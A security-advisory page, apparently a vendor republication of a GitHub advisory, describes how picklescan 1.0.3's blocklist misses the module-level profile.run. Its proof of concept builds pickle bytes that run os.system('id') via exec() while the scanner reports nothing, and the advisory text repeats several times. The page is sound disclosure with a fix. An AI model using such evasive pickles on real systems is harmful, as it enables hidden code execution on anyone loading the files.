## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`
## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`
Update picklescan to 1.0.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPickleScan's profile.run blocklist mismatch allows exec() bypass affects picklescan (pip). Severity is critical. ## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`
AI coding agents often install or upgrade packages automatically in pip. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <1.0.4 | 1.0.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate picklescan to 1.0.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPickleScan's profile.run blocklist mismatch allows exec() bypass affects picklescan (pip). Severity is critical. ## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`
AI coding agents often install or upgrade packages automatically in pip. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| picklescanpip | <1.0.4 | 1.0.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard